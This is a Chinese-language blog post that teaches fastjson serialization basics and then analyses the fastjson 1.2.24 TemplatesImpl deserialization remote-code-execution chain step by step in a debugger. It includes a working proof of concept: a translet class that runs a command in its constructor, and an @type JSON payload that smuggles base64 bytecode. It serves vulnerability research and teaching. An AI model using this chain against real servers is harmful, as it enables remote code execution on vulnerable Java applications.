關於fastjson漏洞利用參考:https://www.cnblogs.com/piaomiaohongchen/p/10799466.html
fastjson這個漏洞出來了很久,一直沒時間分析,耽擱了,今天撿起來
因為我們要分析fastjson相關漏洞,所以我們先去學習fastjson的基礎使用,如果我們連fastjson都不知道,更何談漏洞分析呢?
首先先搭建相關漏洞環境:
使用maven,非常方便我們切換相關漏洞版本:
pom.xml:
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>groupId</groupId> <artifactId>Java_Test</artifactId> <version>1.0-SNAPSHOT</version> <dependencies> <!-- https://mvnrepository.com/artifact/com.google.common/google-collect --> <!-- https://mvnrepository.com/artifact/com.google.guava/guava --> <!-- https://mvnrepository.com/artifact/com.alibaba/fastjson --> <!--fastjson1.2.24環境安裝--> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>RELEASE</version> <scope>compile</scope> </dependency> </dependencies> <properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> </properties> </project>
然後點選重新整理按鈕,會自動幫我們安裝相關依賴
至此,我們就擁有了fastjson環境
什麼是fastjson?
fastjson是一個Java語言編寫的高效能功能完善的JSON庫。它採用一種“假定有序快速匹配”的演算法,把JSON Parse的效能提升到極致,是目前Java語言中最快的JSON庫。Fastjson介面簡單易用,已經被廣泛使用在快取序列化、協議互動、Web輸出、Android客戶端等多種應用場景。
簡單點說就是幫我們處理json資料的
搓個demo:
Student.java:
package com.test.fastjson; public class Student { private int id; private String name; private int age; public Student(){ } public Student(int id, String name, int age) { this.id = id; this.name = name; this.age = age; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Student{" + "id=" + id + ", name='" + name + '\'' + ", age=" + age + '}'; } }
Teacher.java:
package com.test.fastjson; import java.util.List; public class Teacher { private int id; private String name; private List<Student> studentList; public Teacher(){ } public Teacher(int id, String name, List<Student> studentList) { this.id = id; this.name = name; this.studentList = studentList; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public List<Student> getStudentList() { return studentList; } public void setStudentList(List<Student> studentList) { this.studentList = studentList; } @Override public String toString() { return "Teacher{" + "id=" + id + ", name='" + name + '\'' + ", studentList=" + studentList + '}'; } }
編寫測試類:
@Test public void fastjson_test1(){ Student student = new Student(1,"jack",24); System.out.println(JSON.toJSON(student)); }
把物件轉換成json格式資料
支援複雜的物件轉換json處理:
@Test public void fastjson_test2(){ List<Student> studentList = new ArrayList<Student>(); for(int i=0;i<4;i++){ Student student = new Student(i, "jack" + i, 23 + i); studentList.add(student); } List<Teacher> teacherList = new ArrayList<Teacher>(); Teacher teacher = new Teacher(); teacher.setStudentList(studentList); System.out.println(JSON.toJSON(teacher)); }
除了使用toJSON方法轉換外,還可以使用toJSONString方法:
@Test public void fastjson_test3(){ Student student = new Student(1,"jack",24); System.out.println(JSON.toJSONString(student)); }
檢視返回型別,String型別
說明是把student物件資料轉換成字串json資料
JSON.toJSONString的擴充套件:
需求如下:只需要Student物件的id和age欄位,不要name欄位,怎麼做?
@Test public void fastjson_test4(){ Student student = new Student(1,"jack",24); //過濾只要id和age欄位 SimplePropertyPreFilter filter = new SimplePropertyPreFilter(Student.class,"id","age"); String value = JSON.toJSONString(student, filter); System.out.println(value); }
設定保留id和age欄位
通過上面的學習知道了如果想把物件轉換成json資料可以使用JSON.toJSON,或者使用JSON.toJSONString
我們繼續學習,下一步我們嘗試把json資料轉換成物件,還原我們的物件:
//反序列化,str型別資料轉換成class型別物件 @Test public void fastjson_test5(){ Student student = new Student(1,"jack",24); String value = JSON.toJSONString(student); System.out.println("轉換成json資料"); System.out.println(value); System.out.println("str型別json資料轉換成class型別物件"); System.out.println(JSON.parseObject(value, Student.class)); }
通過上面程式碼,我們可以發現一個重點:
fastjson會處理字串型別的json資料,上面的value變數是字串型別,這對我們後續漏洞分析很有幫助
繼續擴充套件JSON.toJSONString:
@Test public void fastjson_test6(){ Student student = new Student(1,"jack",24); String value = JSON.toJSONString(student, SerializerFeature.WriteClassName); System.out.println(value); Student student1 = JSON.parseObject(value, Student.class); System.out.println(student1); }
把結果輸出出來:
{"@type":"com.test.fastjson.Student","age":24,"id":1,"name":"jack"}
Student{id=1, name='jack', age=24}
發現多了個@type欄位,說明了我們Student物件轉換成json資料的資料型別,告訴我們是com.test.fastjson.Student型別的資料被轉換成json資料了.
我們繼續學習:
前面說了fastjson會處理我們的字串json,直接寫一段字串json資料:
@Test public void fastjson_test7(){ String jsonStr="{\"age\":24,\"id\":1,\"name\":\"jack\"}"; System.out.println(jsonStr); System.out.println(getType(jsonStr)); System.out.println(JSON.parseObject(jsonStr)); }
我們這樣寫,會發現最後字串json沒有轉換成物件
為什麼?
因為fastjson找不到我們要轉換的json資料在哪個類,這裡我們要宣告型別:
再次修改:
@Test public void fastjson_test7(){ String jsonStr="{\"@type\":\"com.test.fastjson.Student\",\"age\":24,\"id\":1,\"name\":\"jack\"}"; System.out.println(getType(jsonStr)); System.out.println(JSON.parseObject(jsonStr)); }
有意思的地方來了,宣告型別後的字串json資料,fastjson並沒有把它轉換成物件:
深入跟蹤下:
在JSON.parseObject處打個斷點:
跟進去:
繼續進函式:
value=Student{id=1, name='jack', age=24}
繼續下一步:
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
判斷引用obj指向的物件是否是JSONObject,如果是就直接返回,否則就返回toJSON處理:
繼續下一步執行:
熟悉吧toJSON,把我們的student物件再次轉換成了json資料...:
那麼最後的返回就是:
解決辦法:使用parse替換parseObject:
@Test public void fastjson_test7(){ String jsonStr="{\"@type\":\"com.test.fastjson.Student\",\"age\":24,\"id\":1,\"name\":\"jack\"}"; System.out.println(getType(jsonStr)); System.out.println(JSON.parse(jsonStr)); }
這一次,我們成功把字串json資料轉換成了物件:
可能作為開發,到這一步已經學完了基礎的常用用法,但是對於安全來說,這裡可能是否可能會存在安全隱患呢?
猜測:fastjson會根據我們申明的型別,fastjson在反序列化我們的字串json資料的時候,會把它轉換成物件,那麼如果我們的type欄位上輸入惡意類,是否會在java反序列化的時候導致安全問題呢?
這就是fastjson安全漏洞的最初產生,惡意修改type類,導致安全問題
深入研究fastjson的物件轉json,json轉物件的呼叫機制:
修改我們的Student.java:
package com.test.fastjson; public class Student { private int id; private String name; private int age; public Student(int id, String name, int age) { this.id = id; this.name = name; this.age = age; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Student{" + "id=" + id + ", name='" + name + '\'' + ", age=" + age + '}'; } }
消除我們的構造方法:
編寫測試方法:
@Test public void fastjson_test6(){ Student student = new Student(1,"jack",24); String value = JSON.toJSONString(student, SerializerFeature.WriteClassName); System.out.println(value); Student student1 = JSON.parseObject(value, Student.class); System.out.println(student1); }
直接報錯了,發現我們json轉str失敗,我們反序列化失敗,報錯提示預設的構造方法不存在,說明前置條件1:fastjson反序列化必須要構造方法
再次修改student.java:
package com.test.fastjson; public class Student { private int id; private String name; private int age; public Student(){ System.out.println("你必須呼叫我"); } public Student(int id, String name, int age) { this.id = id; this.name = name; this.age = age; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Student{" + "id=" + id + ", name='" + name + '\'' + ", age=" + age + '}'; } }
再次執行上面的測試方法:
繼續探索:
再次修改student.java:
package com.test.fastjson; public class Student { private int id; private String name; private int age; public Student(){ System.out.println("你必須呼叫我"); } public Student(int id, String name, int age) { this.id = id; this.name = name; this.age = age; } public int getId() { return id; } public void setId(int id) { this.id = id; System.out.println("setId被呼叫"); } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Student{" + "id=" + id + ", name='" + name + '\'' + ", age=" + age + '}'; } }
在set方法中新增了一條輸出語句
再次執行上面的測試方法:
嘗試刪除set方法:
修改student.java:
package com.test.fastjson; public class Student { private int id; private String name; private int age; public Student(){ System.out.println("你必須呼叫我"); } public Student(int id, String name, int age) { this.id = id; this.name = name; this.age = age; } public int getId() { return id; } // public void setId(int id) { // this.id = id; // System.out.println("setId被呼叫"); // } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Student{" + "id=" + id + ", name='" + name + '\'' + ", age=" + age + '}'; } }
程式碼中註釋了setId方法
再次執行:
結論:反序列化物件的時候,如果物件中的屬性定義是private,那麼必須設定set方法,protected修飾符也是一樣,必須設定set方法
只有set方法,沒有定義get方法可以被反序列化嗎?
註釋掉get方法,保留set方法:
結論:不可以,最起碼在JSON.parseObject下是不可以的
總結:使用JSON.parseObject反序列化的時候,屬性欄位如果是private和protected修飾的時候,必須有set和get方法,否則可能導致某些欄位反序列化失敗
再次修改student.java檔案:
package com.test.fastjson; public class Student { public int id; private String name; private int age; public Student(){ System.out.println("你必須呼叫我"); } public Student(int id, String name, int age) { this.id = id; this.name = name; this.age = age; } // public int getId() { // return id; // } // public void setId(int id) { // this.id = id; // System.out.println("setId被呼叫"); // } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Student{" + "id=" + id + ", name='" + name + '\'' + ", age=" + age + '}'; } }
修改private為public,註釋掉set和get方法
再次執行測試方法:
結論:public欄位下,set/get可有可無
還是回到priavte欄位問題,再次修改student.class:
package com.test.fastjson; public class Student { private int id; private String name; private int age; public Student(){ System.out.println("你必須呼叫我"); } public Student(int id, String name, int age) { this.id = id; this.name = name; this.age = age; } public int getId() { return id; } // public void setId(int id) { // this.id = id; // System.out.println("setId被呼叫"); // } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Student{" + "id=" + id + ", name='" + name + '\'' + ", age=" + age + '}'; } }
註釋了set方法,保留get方法:
前面說了,set和get方法缺一不可,所以我們JSON.ParseObject,一定是反序列化失敗的
是否有解決方案?
修改測試方法為:
@Test public void fastjson_test6(){ Student student = new Student(1,"jack",24); String value = JSON.toJSONString(student, SerializerFeature.WriteClassName); System.out.println(value); Student student1 = JSON.parseObject(value, Student.class,Feature.SupportNonPublicField); System.out.println(student1); }
再次執行:
Feature.SupportNonPublicField可以讓我們忽略設定set方法,只要設定get方法,就能達成反序列化
最終結論總結:fastjson反序列化依賴於set和get方法,而且必須要有構造方法,最優先呼叫的是構造方法,fastjson設定Feature.SupportNonPublicField,可以忽略set方法,JSON.Parse反序列化和JSON.ParseObject一樣
好了,基礎部分全部講完了,包括他反序列化和欄位以及構造方法的呼叫問題
下面介紹fastjson第一個漏洞:
利用鏈:Fastjson 1.2.24 遠端程式碼執⾏&&TemplatesImpl,依賴Feature.SupportNonPublicField 利用鏈比較雞肋
但是分析這條利用鏈,可以讓你很清楚知道fastjson內部是怎麼進行序列化的,反序列化的,通過前面寫的demo,我們已經對fastjson內部處理物件和json轉換物件有了較為詳細的認知
poc構造:我是mac,windows直接calc即可:
Poc1.java:
package com.test.fastjson; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Poc1 extends AbstractTranslet { public Poc1() throws IOException { Runtime.getRuntime().exec("open /System/Applications/Calculator.app"); } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public static void main(String[] args) throws IOException { Poc1 poc1 = new Poc1(); } }
編譯執行一次生成位元組碼,然後全域性base64編碼:
反序列化攻擊:
AttackPoc1.java:
package com.test.fastjson; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; public class AttackPoc1 { public static void main(String[] args) throws ClassNotFoundException { String payload3= "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":\n" + "[\"剛剛生成的base64編碼的位元組碼資料\"],'_name':'c.c','_tfactory':{ },\"_outputProperties\":\n" + "{},\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}"; JSON.parseObject(payload,Feature.SupportNonPublicField); } }
執行:
成功命令執行彈窗計算器
原理分析,先丟擲疑惑點:
去除Feature.SupportNonPublicField還可以命令執行嗎?
執行沒有命令執行,前面我們學習了Feature.SupportNonPublicField是當我們設定get方法,而沒有設定set方法的補救,即使沒有set方法也會幫我們反序列化成功
跟進TemplatesImpl類:可以debug進去,這裡我選擇反射進去:
Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
以這個欄位為例:
搜尋setOutputProperties:
所以我們他一定要依賴於Feature.SupportNonPublicField
打個斷點,深入跟蹤下:
解決我們的幾個疑惑
(1)為什麼_bytecodes定義的資料得是base64編碼
(2)fastjson反序列化是怎麼走的?
下個斷點:
先搞清楚第一個問題bytecodes位元組碼為什麼是base64編碼:
判斷開頭輸入是否是{:
繼續往下:
設定token為12,很重要,後面的判斷都要基於token:
一直下一步執行:
通過loadClass載入我們的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl類:
集合儲存惡意類:
然後不斷判斷我們的clazz是什麼型別:
不符合條件就繼續往下找:
通過反射獲取所有的方法
判斷方法的定義規則:
if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) { Class<?>[] types = method.getParameterTypes();
方法名字要符合這個條件:
獲取欄位:
debug真的腦子疼:
重點來了:
反序列化欄位:
繼續往下跟:
繼續往下:
最後出函式呼叫parseObject:
最後執行命令:
2.bytescodes base編碼原由:
反序列化的時候呼叫:
byte[] bytes = lexer.bytesValue(); lexer.nextToken(16);
會呼叫base64解碼:
靜態除錯下:
跟進方法:
方法在介面類中,找介面實現類:
搜尋到一個:
進去:
發現是個抽象類:
java基礎核心概念:
如果想實現抽象類中的方法,需要子類繼承父類,然後重寫方法.
尋找他的子類:
檢視他的子類:
他的父類是object:
選擇他的子類進去看看:
搜尋byteValue,檢視其函式實現:
至此第一條雞肋的利用鏈分析完畢,明天我分析下不雞肋的利用鏈,利用jndi注入直接rce